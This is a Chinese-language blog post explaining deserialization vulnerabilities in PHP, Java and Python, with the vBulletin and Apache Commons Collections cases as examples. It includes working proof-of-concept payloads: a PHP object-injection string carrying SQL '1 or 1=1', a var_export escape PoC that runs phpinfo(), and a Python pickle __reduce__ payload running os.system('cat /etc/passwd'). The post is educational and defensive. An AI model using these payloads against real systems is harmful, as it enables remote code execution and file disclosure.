最近关于反序列化的问题很热门,从不久前的vBulletin(PHP)到Apache Commons Collections(Java)再到今天的sqlmap(Python),各个语言的反序列化问题突然从理论研究变成了大把的实例。今天吃晚饭的路上跟同事讨论这个问题,在对Python的序列化/反序列化的理解上出现了分歧,吃完饭回来一测试,直接把我吓尿了。
从序列化和反序列化的名字和用途上看,序列化是为了将一个对象保存、传递并恢复的手段。例如我有一个ORM对象User,其中的各种属性经过一定的逻辑处理后变化了,这时候将其序列化,存储、传递,然后将其反序列化,就可以获得这个已经处理变化过的对象。早年写过Java,这种方法在缓存、SOAP等很多方面用的特别多,非常方便。但是这个过程中需要完整的上下文环境,也就是说反序列化并不能无中生有的生成一个对象实例,在当前的上下文中必须能够找到对应的类定义。并且能恢复的只有对象属性,并不能改变对象的方法。
0x01 JAVA和PHP的反序列化
以PHP为例,上段代码:
<?php class User { public $id; public $username; public $info; public function __wakeup() { echo "===========\n"; echo "我要变形了!\n"; echo "===========\n"; } } $one = new User(); $one->id = 1; $one->username = 'xbzbing'; $one->info = '然而并没有'; $save = serialize($one); var_dump($one); $another_one = unserialize($save); var_dump($another_one); echo "===========\n"; print_r($save);
序列化的结果是:
O:4:"User":3:{s:2:"id";i:1;s:8:"username";s:7:"xbzbing";s:4:"info";s:15:"然而并没有";}
序列化的结果是一个类似BCODE的字符串。按照BCODE的编码规则来看,O:4:"User":3:分别表示类型Object:长度4:值:User,"User":3:{}表示类型:User,长度:3,值{},以此类推。可见序列化结果中只有属性的值,并不包含实现方法。
当我们在一个上下文环境并没有User类autoloader也没有注册该类的情况下反序列化这个字符串,会得到一个__PHP_Incomplete_Class_Name类,包含基本属性但没有任何方法,就像一个数组一样。当存在一个名为User的类,就会尝试将序列化结果中包含的类属性添加进去。其中__wakeup是PHP的魔术方法,在对象被反序列化后执行,名字萌萌的。
那么这样有什么危害呢?
1、当类中有以属性为参数进行敏感操作的时候
例如这样的:
<?php $payload = new User(); $payload->id = '1 or 1=1'; $payload = serialize($payload); class User { public $id; public $username; public $info; public function __wakeup() { echo "===========\n"; echo "我要变形了!\n"; echo "===========\n"; } public function getPosts(){ $sql = "select * from posts where id={$this->id}"; return Database::getObjects($sql); } } class Database{ public static function getObjects($sql){ echo "$sql\n"; return []; } } $user = new User(); $user->id = 1; $user->getPosts(); $user = unserialize($payload); $posts = $user->getPosts();
先实例化一个User类,然后通过getPosts方法获取其发表的文章。如果这个反序列化过程可控,那么结果就是这样:
是不是非常像二次注入?这个方法就叫做对象注入。。。
这样要求类对象在__wakeup方法或者__destruct或者后续流程能够调用到的方法在实现中存在不安全的操作,这个例子就是在后续的getPosts操作中存在不安全的调用。
漏洞实例 1:
《unserialize() 实战之 vBulletin 5.x.x 远程代码执行》
vBulletin这个非常有趣,代码在__wakeup和__destruct两个魔术方法上并没有犯错误,而是在后续的操作中存在问题。vBulletin的vB_dB_Result类实现了迭代器接口,使其能够像数组一样被遍历,在遍历的时候将会调用rewind方法,这里写出了一个以对象属性值为函数名,以另一个属性为参数的调用方法,只要修改$this->db->free_result为eval,$this->recordset为payload就能执行任意代码!
public function rewind() { if ( $this->recordset ) { $this->db->free_result( $this->recordset ); } }
这里麻烦一点是vB_dB_Result的db属性是另一个类实例,因此需要构造两个类来完成这个利用。这里也可以看出来,在反序列化的时候PHP会把每个属性的每个类尝试还原。
这里插一下我之前Yii1踩到的坑。
在Yii1中处理富文本的时候,推荐以HTMLPurify来进行安全处理,这本没有错,但是网行流传了很多错误的打开方法,如:http://www.lai18.com/content/319738.html,这种的“在模型中使用”的例子。因为CHTMLPurify其实是个Widget,拥有另一个属性owner,这个是当前controller的实例(当时还没有View),我做的操作是在后台生成一个AR并缓存,在前台取缓存使用。那么这个AR在前台被反序列化的时候会寻找后台的controller。。。这怎么可能找得到,然后就报错了。
漏洞实例 2:
《利用Apache Commons Collections实现远程代码执行》
这个漏洞影响非常大,可惜被Redis写ssh key那个事件抢了风头,严重被低估了。这是长亭科技的分析,分析非常完整,赞一个。
这个漏洞的根源在ObjectInputStream对数据的反序列化处理上,影响范围应该会更广。Apache Commons Collections的Transformer类的实现中存在问题,在InvokerTransformer更是以反射机制来调用任意函数(跟vBulletin很像嘛),造成了任意代码执行。
总之对于Java和PHP来说,反序列存在风险,一切操作都需要谨慎。
2、当不存在敏感操作时
是不是就没有问题了呢?理论上应该是没有问题了,但是仍然出现了问题。。。茄子牛发过一个反序列化问题,因为序列化的结果是可以自行构造的字符串,那么其实是可以手动生成一个类实例,并利用动态属性的方式恢复一个异常的对象。比如茄子牛给出的POC:
<?php eval('$b = '.var_export(unserialize('O:8:"DateTime":1:{s:15:"\'=>phpinfo(),//";s:1:"1";}'),true).';');
var_export在导出对象的时候没有处理键值中存在的单引号,导致单引号逃逸,这个问题在PHP 5.3.x版本存在。这个锅到底是var_export还是unserialize的呢?
0x02 Python的序列化问题
Python的序列化就是pickle和cPicke,妈了个蛋的看名字就知道有问题。。。。。对不起没忍住一开始就吐槽了。。。
来瞅瞅Python的序列化/反序列化。
#!/usr/bin/env python # -*- coding: utf-8 -*- import cPickle class User(object): id = 1 name = u'路人甲' user = User() user.name = u'xbzbing' user.age = 18 payload = cPickle.dumps(user) print payload print "=" * 50 user2 = cPickle.loads(payload) print "%s,嗯,18岁神马的是不可能的%s" % (user2.name, user2.age)
这样看是正常的序列化,虽然生成的字符串可读性差点,但是还是能看出来不包含方法什么的。
那么python的序列化有没有相关的魔术方法呢?特么还真有,就是传说中的__reduce:
https://docs.python.org/2/library/pickle.html#object.__reduce__
照描述来说,应该是在找不到User类的时候可以用__reduce来实现反序列化,这样就能在不需要User类或者User不能被序列化(如坑爹的multiprocess)的上下文中依然能够反序列化。看描述跟PHP的__wakeup完全不是干一个工作的,那么__reduce到底要怎么写呢?
看文档,如果返回值是一个字符串,那么就将饭序列化结果赋值到这个字符串为名字的变量上,注意这个字符串不是User这个类名,而是user这个实例名,这个地方是用在单例模式上。
那么还有一种情况,返回的是个tuple会怎么样?Tuple第一个元素需要是一个可执行的对象用来初始化被序列化的那个类,第二个元素会作为参数传递给地一个元素。需要注意的是__reduce会完全改变当前类的所有特征,包括属性、方法。
(写到这我突然理解了这个函数的设计意图!原来是想作为工厂在这里重造一个实例!)
#!/usr/bin/env python # -*- coding: utf-8 -*- import cPickle class User(object): id = 1 name = u"路人甲" def init(self, a): print a def __reduce__(self): return Person, (self.name, 20) class Person(object): def __init__(self, name, age): print u"tuple的参数1:%s" % name print u"tuple的参数2:%s" % age self.name = name self.age = age user = User() user.name = u"xbzbing" user.age = 18 payload = cPickle.dumps(user) print payload print "=" * 50 user2 = cPickle.loads(payload) print u"%s,今年%s岁!" % (user2.name, user2.age)
但是看序列化的结果,直接将callable object Person传进去了!
当反序列话的时候就相当与执行了这段代码!!
但是callable 的对象可不止类啊,如果传个函数进去呢?
#!/usr/bin/env python # -*- coding: utf-8 -*- import cPickle import os class User(object): id = 1 name = u"路人甲" def init(self, a): print a def __reduce__(self): return eval, ("os.system('cat /etc/passwd')",) user = User() user.name = u"xbzbing" user.age = 18 payload = cPickle.dumps(user) print payload print "=" * 50 user2 = cPickle.loads(payload) print u"%s,今年%s岁!" % (user2.name, user2.age)
日了狗了。。序列化结果直接就是os.system('command')。。。
这个pickle的__reduce方法完全是eval方法的别名啊。。。。。
这算什么?漏洞型后门?要不是刚才想通了设计思路,我真以为这么设计是故意的!
文档给的建议是不要使用pickle模块,至少不要反序列化任何不可信任的数据。不过你如何鉴定数据可信任?看过上面PHP的例子,也知道二次注入吧?我觉得这个模块要么重写要么直接废弃,简直了。。。
漏洞实例:
没啥可说的。。。。赤裸裸的命令执行
所有使用了pickle模块的程序,都存在安全隐患,特么我记得django有个中间件用到了啊,我特么还记得celery的信息传递可选pickle啊。。。日了狗了
所以
反序列化的对象注入就像二次注入一样防不胜防,任何反序列化操作都需要小心谨慎,不能信任任何数据,如果只是存属性,完全可以用json嘛,能不用就不要再用序列化了。如果在python项目中使用了反序列化,赶紧去看看代码吧。。。
留言交流